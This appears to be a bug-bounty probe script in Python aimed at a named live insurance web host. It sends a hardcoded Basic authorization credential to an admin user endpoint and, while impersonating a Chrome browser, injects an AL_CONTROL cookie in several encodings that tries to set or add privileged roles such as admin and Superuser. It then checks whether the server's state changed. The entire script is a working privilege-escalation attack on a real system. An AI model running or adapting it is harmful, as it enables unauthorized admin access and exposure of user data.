#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
import json
ident={'X-Bug-Bounty':'dwbzn','Authorization':'Basic c3U6Z3c='}
target='https://gwde.baloise.de/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
roles=['guidewire_pc','guidewire_bc','guidewire_cc','authenticated','admin','administrator','Superuser']
inner='SET_CREDENTIALS='+','.join(quote(x,safe='') for x in roles)
variants=[
 ('control',None),
 ('raw',inner),
 ('once',quote(inner,safe='')),
 ('double',quote(quote(inner,safe=''),safe='')),
 ('add_once',quote('ADD_CREDENTIALS='+','.join(quote(x,safe='') for x in roles),safe='')),
 ('keep',quote('SET_CREDENTIALS='+','.join(quote(x+':K',safe='') for x in roles),safe='')),
]
for name,cc in variants:
 s=requests.Session(impersonate='chrome')
 s.get('https://gwde.baloise.de/',headers={'X-Bug-Bounty':'dwbzn'},allow_redirects=False,timeout=20)
 c=s.cookies.get_dict()
 h=dict(ident)
 if cc is not None:
  al=c.get('AL_SESS-S','')
  h['Cookie']=f'AL_SESS-S={al}; AL_CONTROL={cc}'
 r=s.get(target,headers=h,allow_redirects=False,timeout=20)
 # immediate second request to detect state mutation
 r2=s.get(target,headers=ident,allow_redirects=False,timeout=20)
 print(json.dumps({'name':name,'value':cc,'first_status':r.status_code,'first_len':len(r.content),'first_loc':r.headers.get('location'),'first_exchange':getattr(r,'toadex_exchange_id',None),'set_cookie':r.headers.get('set-cookie'),'second_status':r2.status_code,'second_len':len(r2.content),'second_loc':r2.headers.get('location'),'second_exchange':getattr(r2,'toadex_exchange_id',None)},ensure_ascii=False))